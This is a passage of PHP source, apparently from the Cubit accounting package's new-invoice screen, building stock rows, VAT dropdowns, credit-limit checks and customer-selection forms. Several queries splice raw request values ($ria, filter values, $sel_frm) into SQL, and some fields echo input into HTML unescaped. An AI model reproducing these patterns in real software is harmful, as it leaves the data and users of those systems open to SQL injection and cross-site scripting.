$Accounts = "\n\t\t\t\t\t\t<select name='accountss[{$ai}]' onChange='javascript:document.form.submit();'>\n\t\t\t\t\t\t\t<option value='0'>Select Account</option>";
$useaccdrop = getCSetting("USE_NON_STOCK_ACCOUNTS");
if (isset($useaccdrop) and $useaccdrop == "yes") {
db_connect();
$acc_sql = "SELECT * FROM non_stock_account_list ORDER BY accname";
$run_acc = db_exec($acc_sql) or errDie("Unable to get account information.");
if (pg_numrows($run_acc) > 0) {
while ($acc = pg_fetch_array($run_acc)) {
$Accounts .= "<option value='{$acc['accid']}'>{$acc['accname']}</option>";
}
$Accounts .= "</select>";
}
} else {
db_conn('core');
$Sl = "SELECT accid,topacc,accnum,accname FROM accounts WHERE acctype='I' ORDER BY accname";
$Ri = db_exec($Sl) or errDie("Unable to get accounts.");
while ($ad = pg_fetch_array($Ri)) {
if (isb($ad['accid'])) {
continue;
}
$Accounts .= "<option value='{$ad['accid']}'>{$ad['accname']}</option>";
}
$Accounts .= "</select>";
}
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t\t\t\t\t<select name='vatcodess[{$ai}]'>\n\t\t\t\t\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($vd['del'] == "Yes") {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
$products .= "\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td colspan='2'>\n\t\t\t\t\t\t\t\t{$Accounts}\n\t\t\t\t\t\t\t\t<input type='hidden' name='whidss[{$ai}]' value='1'>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<inpu type='hidden' name='stkidss[{$ai}]' value=''>\n\t\t\t\t\t\t\t<td>{$Vatcodes}</td>\n\t\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t\t<td><input type='text' size='20' name='descriptionss[{$ai}]'></td>\n\t\t\t\t\t\t\t<td><input type='text' size='3' name='qtyss[{$ai}]' value='1'></td>\n\t\t\t\t\t\t\t<td><input type='text' name='unitcosts[{$ai}]' size='7'></td>\n\t\t\t\t\t\t\t<td></td>\n\t\t\t\t\t\t\t<td nowrap>" . CUR . " 0.00</td>\n\t\t\t\t\t\t\t<td><input type='hidden' name='discs[{$ai}]' value='0'><input type='hidden' name='discps[{$ai}]' value='0'></td>\n\t\t\t\t\t\t</tr>";
++$ai;
}
}
}
} else {
#HAX !
if (!isset($addnon) && !isset($upBtn)) {
if (isset($ria) and $ria != "") {
$len = strlen($ria);
if ($ria == "Show All") {
$Wh = "";
$ria = "";
} else {
$Wh = "AND (lower(stkdes) LIKE lower('%{$ria}%')) OR (lower(stkcod) LIKE lower('%{$ria}%'))";
$ria = "";
}
} else {
$Wh = "AND FALSE";
$ria = "";
}
$check_setting = getCSetting("OPTIONAL_STOCK_FILTERS");
if (isset($check_setting) and $check_setting == "yes") {
if (isset($filter_class) and $filter_class != "0") {
$Wh .= " AND prdcls = '{$filter_class}'";
}
if (isset($filter_cat) and $filter_cat != "0") {
$Wh .= " AND catid = '{$filter_cat}'";
}
}
if (isset($filter_store) and $filter_store != "0") {
$Wh .= " AND whid = '{$filter_store}'";
}
# get stock on this warehouse
db_connect();
$sql = "SELECT * FROM stock WHERE blocked = 'n' AND div = '" . USER_DIV . "' {$Wh} ORDER BY {$sel_frm} ASC";
$stkRslt = db_exec($sql) or errDie("Unable to retrieve stocks from database.");
if (pg_numrows($stkRslt) < 1) {
if (!isset($err)) {
$err = "";
}
$err .= "<li>There are no stock items in the selected store.</li>";
//ontinue;
}
if (pg_numrows($stkRslt) == 1) {
$reload = TRUE;
$send_override = "<input type='hidden' name='stkidss[{$ai}]' value='" . pg_fetch_result($stkRslt, 0, 0) . "'>";
} else {
$reload = FALSE;
$send_override = "";
}
if ($sel_frm == "stkcod") {
$cods = "<select name='stkidss[{$ai}]' onChange='javascript:document.form.submit();'>";
// $cods .= "<option value='-S' disabled selected>Select Number</option>";
$count = 0;
while ($stk = pg_fetch_array($stkRslt)) {
$cods .= "<option value='{$stk['stkid']}'>{$stk['stkcod']} (" . sprint3($stk['units'] - $stk['alloc']) . ")</option>";
}
$cods .= "</select> ";
$descs = "";
} else {
$descs = "<select style='width:250px' name='stkidss[{$ai}]' onChange='javascript:document.form.submit();'>";
$descs .= "<option value='-S' disabled selected>Select Description</option>";
$count = 0;
while ($stk = pg_fetch_array($stkRslt)) {
$descs .= "<option value='{$stk['stkid']}'>{$stk['stkdes']} (" . sprint3($stk['units'] - $stk['alloc']) . ")</option>";
}
$descs .= "</select> ";
$cods = "";
}
$products .= "\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<input type='hidden' name='accountss[{$ai}]' value='0'>\n\t\t\t\t\t\t<input type='hidden' name='descriptionss[{$ai}]' value=''>\n\t\t\t\t\t\t<input type='hidden' name='vatcodess[{$ai}]' value=''>\n\t\t\t\t\t\t<input type='hidden' name='whidss[{$ai}]' value='{$filter_store}'>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td>{$cods}</td>\n\t\t\t\t\t<td> </td>\n\t\t\t\t\t<td></td>\n\t\t\t\t\t<td>{$descs}</td>\n\t\t\t\t\t<td><input type='hidden' size='3' name='qtyss[{$ai}]' value='1'>1</td>\n\t\t\t\t\t<td> </td>\n\t\t\t\t\t<td><input type='text' size='4' name='discs[{$ai}]' value='0'> OR <input type='text' size='4' name='discps[{$ai}]' value='0' maxlength='5'>%</td>\n\t\t\t\t\t<td nowrap>" . CUR . " 0.00</td>\n\t\t\t\t\t<td></td>\n\t\t\t\t</tr>";
++$ai;
} elseif (isset($addnon)) {
$Accounts = "\n\t\t\t\t<select name='accountss[{$ai}]' onChange='javascript:document.form.submit();'>\n\t\t\t\t\t<option value='0'>Select Account</option>";
$useaccdrop = getCSetting("USE_NON_STOCK_ACCOUNTS");
if (isset($useaccdrop) and $useaccdrop == "yes") {
db_connect();
$acc_sql = "SELECT * FROM non_stock_account_list ORDER BY accname";
$run_acc = db_exec($acc_sql) or errDie("Unable to get account information.");
if (pg_numrows($run_acc) > 0) {
while ($acc = pg_fetch_array($run_acc)) {
$Accounts .= "<option value='{$acc['accid']}'>{$acc['accname']}</option>";
}
$Accounts .= "</select>";
}
} else {
db_conn('core');
$Sl = "SELECT accid,topacc,accnum,accname FROM accounts WHERE acctype='I' ORDER BY accname";
$Ri = db_exec($Sl) or errDie("Unable to get accounts.");
while ($ad = pg_fetch_array($Ri)) {
if (isb($ad['accid'])) {
continue;
}
$Accounts .= "<option value='{$ad['accid']}'>{$ad['accname']}</option>";
}
$Accounts .= "</select>";
}
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t\t\t<select name='vatcodess[{$ai}]'>\n\t\t\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($vd['del'] == "Yes") {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
$products .= "\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td colspan='2'>{$Accounts}<input type='hidden' name='whidss[{$ai}]' value='1'></td>\n\t\t\t\t\t<inpu type='hidden' name='stkidss[{$ai}]' value=''>\n\t\t\t\t\t<td>{$Vatcodes}</td>\n\t\t\t\t\t<td></td>\n\t\t\t\t\t<td><input type='text' size='20' name='descriptionss[{$ai}]'></td>\n\t\t\t\t\t<td><input type='text' size='3' name='qtyss[{$ai}]' value='1'></td>\n\t\t\t\t\t<td><input type='text' name='unitcosts[{$ai}]' size='7'></td>\n\t\t\t\t\t<td></td>\n\t\t\t\t\t<td nowrap>" . CUR . " 0.00</td>\n\t\t\t\t\t<td><input type='hidden' name='discs[{$ai}]' value='0'><input type='hidden' name='discps[{$ai}]' value='0' ></td>\n\t\t\t\t</tr>";
++$ai;
}
}
$products .= "</table>";
/* --- End Products Display --- */
/* --- Start Some calculations --- */
# Calculate subtotal
$SUBTOT = sprint($inv['subtot']);
# Calculate tradediscm
if ($inv['traddisc'] > 0) {
$traddiscm = sprint($inv['traddisc'] / 100 * $inv['total']);
} else {
$traddiscm = "0.00";
}
$VATP = TAX_VAT;
# Calculate subtotal
$SUBTOT = sprint($inv['subtot']);
$VAT = sprint($inv['vat']);
$TOTAL = sprint($inv['total']);
$inv['delchrg'] = sprint($inv['delchrg']);
/* --- End Some calculations --- */
/*--- Start checks --- */
# check only if the customer is selected
if (isset($cusnum) && $cusnum != "-S") {
#check againg credit limit
if ($TOTAL + $cust['balance'] > $cust['credlimit']) {
$error .= "<li class='err'>Warning : Customers Credit limit of <b>" . CUR . " " . sprint($cust["credlimit"]) . "</b> has been exceeded";
#limit reached ... check for warn/block
db_conn("cubit");
$get_check = "SELECT value FROM set WHERE label = 'CUST_INV_WARN' LIMIT 1";
$run_check = db_exec($get_check) or errDie("Unable to get credit limit response setting");
if (pg_numrows($run_check) < 1) {
#no setting ? do nothing ....
} else {
$sarr = pg_fetch_array($run_check);
if ($sarr['value'] == "block") {
#block account ...
$done = "";
}
}
# Check permissions
if (!perm("invoice-limit-override.php")) {
$done = "";
}
}
$avcred = $cust['credlimit'] - $cust['balance'];
} else {
$avcred = "0.00";
}
/*--- Start checks --- */
db_conn('cubit');
$Sl = "SELECT * FROM settings WHERE constant='SALES'";
$Ri = db_exec($Sl) or errDie("Unable to get settings.");
$data = pg_fetch_array($Ri);
if ($data['value'] == "Yes") {
$sc = "checked";
} else {
$sc = "";
}
$sales = "\n\t\t<td>\n\t\t\t<table " . TMPL_tblDflts . ">\n\t\t\t\t<tr>\n\t\t\t\t\t<td>{$salesps}</td>\n\t\t\t\t\t<td>Print</td>\n\t\t\t\t\t<td><input type='checkbox' name='printsales' {$sc}></td>\n\t\t\t\t</tr>\n\t\t\t</table>\n\t\t</td>";
$inv['delvat'] += 0;
if ($inv['delvat'] == 0) {
$Sl = "SELECT * FROM vatcodes WHERE del='Yes'";
$Ri = db_exec($Sl) or errDie("Unable to get data.");
$vd = pg_fetch_array($Ri);
$inv['delvat'] = $vd['id'];
}
db_conn('cubit');
$Sl = "SELECT * FROM vatcodes ORDER BY code";
$Ri = db_exec($Sl) or errDie("Unable to get vat codes");
$Vatcodes = "\n\t\t<select name='delvat'>\n\t\t\t<option value='0'>Select</option>";
while ($vd = pg_fetch_array($Ri)) {
if ($vd['id'] == $inv['delvat']) {
$sel = "selected";
} else {
$sel = "";
}
$Vatcodes .= "<option value='{$vd['id']}' {$sel}>{$vd['code']}</option>";
}
$Vatcodes .= "</select>";
db_conn('cubit');
$Sl = "SELECT * FROM settings WHERE constant='Delivery Note'";
$Ri = db_exec($Sl) or errDie("Unable to get settings.");
$data = pg_fetch_array($Ri);
if ($data['value'] == "Yes") {
$chp = "checked";
} else {
$chp = "";
}
if (empty($inv["comm"])) {
db_conn("cubit");
$sql = "SELECT value FROM settings WHERE constant='DEFAULT_COMMENTS'";
$cmntRslt = db_exec($sql) or errDie("Unable to retrieve the default comment from Cubit.");
$comm = base64_decode(pg_fetch_result($cmntRslt, 0));
} else {
$comm = $inv["comm"];
}
if (!isset($showvat)) {
$showvat = TRUE;
}
if ($showvat == TRUE) {
$vat14 = AT14;
} else {
$vat14 = "";
}
// Which display method was selected
if (isset($sel_frm) && $sel_frm == "stkdes") {
$sel_frm_cod = "";
$sel_frm_des = "checked";
} else {
$sel_frm_cod = "checked";
$sel_frm_des = "";
}
// Delivery Date
if (!empty($inv["deldate"])) {
$deldate = explode("-", $inv["deldate"]);
} else {
$trans_date_setting = getCSetting("USE_TRANSACTION_DATE");
if (isset($trans_date_setting) and $trans_date_setting == "yes") {
$trans_date_value = getCSetting("TRANSACTION_DATE");
$date_arr = explode("-", $trans_date_value);
$deldate[0] = $date_arr[0];
$deldate[1] = $date_arr[1];
$deldate[2] = $date_arr[2];
} else {
$deldate[0] = date("Y");
$deldate[1] = date("m");
$deldate[2] = date("d");
}
}
$details_begin = "\n\t\t<center>\n\t\t<h3>New Invoice</h3>\n\t\t<form action='" . SELF . "' method='POST' name='form'>\n\t\t\t<input type='hidden' name='SCROLL' value='yes'>\n\t\t\t<input type='hidden' name='key' value='update'>\n\t\t\t<input type='hidden' name='invid' value='{$invid}'>\n\t\t\t<input type='hidden' name='stkerr' value='{$stkerr}'>\n\t\t<table " . TMPL_tblDflts . " width='95%'>\n\t\t \t<tr>\n\t\t \t\t<td valign='top' width='50%'>\n\t\t \t\t\t<div id='cust_selection'>";
if (empty($ajax_err) && (isset($cusnum) || AJAX)) {
if (isset($cusnum)) {
$OTS_OPT = onthespot_encode(SELF, "cust_selection", "deptid={$inv['deptid']}&letters={$letters}&cusnum={$cusnum}&invid={$invid}");
$custedit = "\n\t\t\t\t<td nowrap>\n\t\t\t\t\t<a href='javascript: popupSized(\"customers-new.php?cusnum={$cusnum}&onthespot={$OTS_OPT}\", \"edit_cust\", 700, 630);'>Edit Customer Details</a>\n\t\t\t\t</td>";
} else {
$custedit = "";
}
$optional_filter_setting = getCSetting("OPTIONAL_STOCK_FILTERS");
if (isset($optional_filter_setting) and $optional_filter_setting == "yes") {
db_connect();
$catsql = "SELECT catid, cat, catcod FROM stockcat WHERE div = '" . USER_DIV . "' ORDER BY cat ASC";
$catRslt = db_exec($catsql);
if (pg_numrows($catRslt) < 1) {
$cat_drop = "<input type='hidden' name='filter_cat' value='0'>";
} else {
$cat_drop = "<select name='filter_cat'>";
$cat_drop .= "<option value='0'>All Categories</option>";
while ($cat = pg_fetch_array($catRslt)) {
if (isset($filter_cat) and $filter_cat == $cat['catid']) {
$cat_drop .= "<option value='{$cat['catid']}' selected>({$cat['catcod']}) {$cat['cat']}</option>";
} else {
$cat_drop .= "<option value='{$cat['catid']}'>({$cat['catcod']}) {$cat['cat']}</option>";
}
}
$cat_drop .= "</select>";
}
# Select classification
$classsql = "SELECT * FROM stockclass WHERE div = '" . USER_DIV . "' ORDER BY classname ASC";
$clasRslt = db_exec($classsql);
if (pg_numrows($clasRslt) < 1) {
$class_drop = "<input type='hidden' name='filter_class' value='0'>";
} else {
$class_drop = "<select name='filter_class' style='width: 167'>";
$class_drop .= "<option value='0'>All Classifications</option>";
while ($clas = pg_fetch_array($clasRslt)) {
if (isset($filter_class) and $filter_class == $clas['clasid']) {
$class_drop .= "<option value='{$clas['clasid']}' selected>{$clas['classname']}</option>";
} else {
$class_drop .= "<option value='{$clas['clasid']}'>{$clas['classname']}</option>";
}
}
$class_drop .= "</select>";
}
$display_optional_filters = "\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Select Category</td>\n\t\t\t\t\t<td>{$cat_drop}</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Select Classification</td>\n\t\t\t\t\t<td>{$class_drop}</td>\n\t\t\t\t</tr>";
}
db_conn("exten");
$sql = "SELECT whid, whname, whno FROM warehouses WHERE div = '" . USER_DIV . "' ORDER BY whname ASC";
$whRslt = db_exec($sql);
if (pg_numrows($whRslt) < 1) {
$store_drop = "<input type='hidden' name='filter_store' value='0'>";
} else {
if (!isset($filter_store)) {
# check if setting exists
db_connect();
$sql = "SELECT value FROM set WHERE label = 'DEF_WH' AND div = '" . USER_DIV . "'";
$Rslt = db_exec($sql) or errDie("Unable to check database for existing settings.");
if (pg_numrows($Rslt) > 0) {
$set = pg_fetch_array($Rslt);
$filter_store = $set['value'];
}
}
$store_drop = "<select name='filter_store'>";
$store_drop .= "<option value='0'>All Stores</option>";
while ($wh = pg_fetch_array($whRslt)) {
if ($wh['whid'] == $filter_store) {
$store_drop .= "<option value='{$wh['whid']}' selected>({$wh['whno']}) {$wh['whname']}</option>";
} else {
$store_drop .= "<option value='{$wh['whid']}'>({$wh['whno']}) {$wh['whname']}</option>";
}
}
$store_drop .= "</select>";
}
$ajaxOut = "\n\t\t\t<input type='hidden' name='letters' value='{$letters}'>\n\t\t\t<table " . TMPL_tblDflts . ">\n\t\t\t\t<tr>\n\t\t\t\t\t<th colspan='2'> Customer Details </th>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Department</td>\n\t\t\t\t\t<td valign='center'>{$dept['deptname']}</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Account No.</td>\n\t\t\t\t\t<td valign='center'>{$cust['accno']}</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Customer</td>\n\t\t\t\t\t<td valign='center'>{$customers}</td>\n\t\t\t\t\t{$custedit}\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td valign='top'>Customer Branch</td>\n\t\t\t\t\t<td valign='center'>{$branchdrop}</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td valign='top'>Customer Address</td>\n\t\t\t\t\t<td valign='center'>" . nl2br($cust['addr1']) . "</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td valign='top'>Current Delivery Address</td>\n\t\t\t\t\t<td valign='center'>" . nl2br($cust_del_addr) . "</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td valign='top'>Delivery Address</td>\n\t\t\t\t\t<td valign='center'>\n\t\t\t\t\t\t<input type='button' onClick=\"\n\t\t\t\t\t\t\tvar windowReference;\n\n\t\t\t\t\t\t\tfunction openPopup() {\n\t\t\t\t\t\t\t\twindowReference = window.open('cust-credit-stockinv-deladdr.php?invid={$invid}','windowName','width=500,height=400,status=1');\n\t\t\t\t\t\t\t\tif (!windowReference.opener)\n\t\t\t\t\t\t\t\t\twindowReference.opener = self;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\topenPopup();\" value='Change Delivery Address'>\n\t\t\t\t\t</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Customer Order number</td>\n\t\t\t\t\t<td valign='center'><input type='text' size='10' name='cordno' value='{$inv['cordno']}'></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Customer VAT Number</td>\n\t\t\t\t\t<td>{$cust['vatnum']}</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<th colspan='2'>Point of Sale</th>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Barcode</td>\n\t\t\t\t\t<td><input type='text' size='13' name='bar' value=''></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Print Delivery Note</td>\n\t\t\t\t\t<td><input type='checkbox' name='printdel' {$chp}></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Select Using</td>\n\t\t\t\t\t<td>Stock Code<input type='radio' name='sel_frm' value='stkcod' onChange='javascript:document.form.submit();' {$sel_frm_cod}><br>Stock Description<input type='radio' name='sel_frm' value='stkdes' onChange='javascript:document.form.submit();' {$sel_frm_des}></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr><td><br></td></tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<th colspan='2'>Additional Filters</th>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Select Store</td>\n\t\t\t\t\t<td>{$store_drop}</td>\n\t\t\t\t</tr>\n\t\t\t\t{$display_optional_filters}\n\t\t\t\t<tr class='" . bg_class() . "' " . ass("Type the first letters of the stock code you are looking for.") . ">\n\t\t\t\t\t<td>Stock Filter</td>\n\t\t\t\t\t<td nowrap><input type='text' size='13' name='ria' value='{$ria}'> <input type='submit' value='Search'> <input type='submit' name='ria' value='Show All'></td>\n\t\t\t\t</tr>\n\t\t\t</table>";
} else {
db_conn("exten");
$sql = "SELECT * FROM departments WHERE div = '" . USER_DIV . "' ORDER BY deptname ASC";
$deptRslt = db_exec($sql) or errDie("Unable to view customers");
if (pg_numrows($deptRslt) < 1) {
return "<li class='err'>There are no Departments found in Cubit.</li>";
} else {
$depts = "<select name='deptid' id='deptid'>";
$depts .= "<option value='0'>All Departments</option>";
while ($dept = pg_fetch_array($deptRslt)) {
$depts .= "<option value='{$dept['deptid']}'>{$dept['deptname']}</option>";
}
$depts .= "</select>";
}
if (!isset($ajax_err)) {
$ajax_err = "";
}
$ajaxOut = "\n\t\t\t<script>\n\t\t\t\tfunction updateCustSelection() {\n\t\t\t\t\tdeptid = getObject('deptid').value;\n\t\t\t\t\tletters = getObject('letters').value;\n\t\t\t\t\tctyp = getObject('ctypintl').checked;\n\t\t\t\t\tif (ctyp) {\n\t\t\t\t\t\tdocument.location.href='intinvoice-new.php?' + 'letters=' + letters + '&deptid=' + deptid + '&ctyp=' + ctyp + '&invid={$invid}';\n\t\t\t\t\t} else {\n\t\t\t\t\t\tajaxRequest('" . SELF . "', 'cust_selection', AJAX_SET, 'letters='+letters+'&deptid='+deptid+'&ctyp='+ctyp+'&invid={$invid}');\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t</script>\n\t\t\t{$ajax_err}\n\t\t\t<form name='cusselfrm'>\n\t\t\t<table " . TMPL_tblDflts . ">\n\t\t\t\t<tr>\n\t\t\t\t\t<th colspan='2'>Customer Selection</th>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Select Department</td>\n\t\t\t\t\t<td valign='center'>{$depts}</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>First Letters of customer</td>\n\t\t\t\t\t<td valign='center'><input type='text' size='5' id='letters' maxlength='5'></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>Customer is International</td>\n\t\t\t\t\t<td valign='center'><input type='checkbox' id='ctypintl'></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td><br /></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td></td>\n\t\t\t\t\t<td valign='center'><input type='button' value='Update »' onClick='updateCustSelection();'></td>\n\t\t\t\t</tr>\n\t\t\t</table>\n\t\t\t</form>";
}
$avcred = sprint($avcred);
if (isset($addprodBtn) or isset($addnon) or isset($saveBtn) or isset($upBtn) or isset($ria)) {
$jump_bot = "\n\t\t\t<script>\n\t\t\t\twindow.location.hash='bottom';\n\t\t\t</script>";
} else {
$jump_bot = "";
}
$details_end = "\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td valign='top' align='right' width='50%'>\n\t\t\t\t\t\t<table " . TMPL_tblDflts . ">\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<th colspan='2'> Invoice Details </th>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Invoice No.</td>\n\t\t\t\t\t\t\t\t<td valign='center'>TI {$inv['invid']}</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Proforma Inv No.</td>\n\t\t\t\t\t\t\t\t<td valign='center'><input type='text' size='5' name='docref' value='{$inv['docref']}'></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Sales Order No.</td>\n\t\t\t\t\t\t\t\t<td valign='center'><input type='text' size='5' name='ordno' value='{$inv['ordno']}'></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>VAT Inclusive</td>\n\t\t\t\t\t\t\t\t<td valign='center'>Yes <input type='radio' size='7' name='chrgvat' value='inc' {$chin}> No<input type='radio' size='7' name='chrgvat' value='exc' {$chex}></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Terms</td>\n\t\t\t\t\t\t\t\t<td valign='center'>{$termssel} Days</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Sales Person</td>\n\t\t\t\t\t\t\t\t{$sales}\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Invoice Date</td>\n\t\t\t\t\t\t\t\t<td valign='center'>" . mkDateSelect("inv_date", $inv_date_year, $inv_date_month, $inv_date_day) . "</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Available Credit</td>\n\t\t\t\t\t\t\t\t<td>" . CUR . " {$avcred}</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Trade Discount</td>\n\t\t\t\t\t\t\t\t<td valign='center'><input type='text' size='5' name='traddisc' value='{$inv['traddisc']}'>%</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Delivery Charge</td>\n\t\t\t\t\t\t\t\t<td valign='center'><input type='text' size='7' name='delchrg' value='{$inv['delchrg']}'>{$Vatcodes}</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Delivery Date</td>\n\t\t\t\t\t\t\t\t<td valign='center'>" . mkDateSelect("del_date", $deldate[0], $deldate[1], $deldate[2]) . "</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t</td>\n\t\t\t\t</tr>\n\t\t\t\t" . TBL_BR . "\n\t\t\t\t<tr>\n\t\t\t\t\t<td colspan='2'>{$products}</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td>\n\t\t\t\t\t\t<p>\n\t\t\t\t\t\t<table " . TMPL_tblDflts . " width='100%'>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<th width='25%'>Quick Links</th>\n\t\t\t\t\t\t\t\t<th width='25%'>Comments</th>\n\t\t\t\t\t\t\t\t<td rowspan='5' valign='top' width='50%'>{$error}</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td class='" . bg_class() . "'><a href='customers-new.php?re={$inv['invid']}'>New Customer</a></td>\n\t\t\t\t\t\t\t\t<td class='" . bg_class() . "' rowspan='5' align='center' valign='top'><textarea name='comm' rows='4' cols='20'>{$comm}</textarea></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td class='" . bg_class() . "'><a href='cust-credit-stockinv.php'>New Invoice</a></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td><a href='invoice-view.php'>View Invoices</a></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td><a href='settings/cust-credit-stockinv-newsetting.php?change=yes'>Change Invoice Complete Setting</a></td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<script>document.write(getQuicklinkSpecial());</script>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t</td>\n\t\t\t\t\t<td align='right' valign='top'>\n\t\t\t\t\t\t<table " . TMPL_tblDflts . " width='50%'>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>SUBTOTAL</td>\n\t\t\t\t\t\t\t\t<td align='right' nowrap>" . CUR . " <input type='hidden' name='SUBTOT' value='{$SUBTOT}'>{$SUBTOT}</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Trade Discount</td>\n\t\t\t\t\t\t\t\t<td align='right' nowrap>" . CUR . " {$inv['discount']}</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td>Delivery Charge</td>\n\t\t\t\t\t\t\t\t<td align='right' nowrap>" . CUR . " {$inv['delivery']}</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<td><b>VAT {$vat14}</b></td>\n\t\t\t\t\t\t\t\t<td align='right' nowrap>" . CUR . " {$VAT}</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t\t<th>GRAND TOTAL</th>\n\t\t\t\t\t\t\t\t<td align='right' nowrap>" . CUR . " 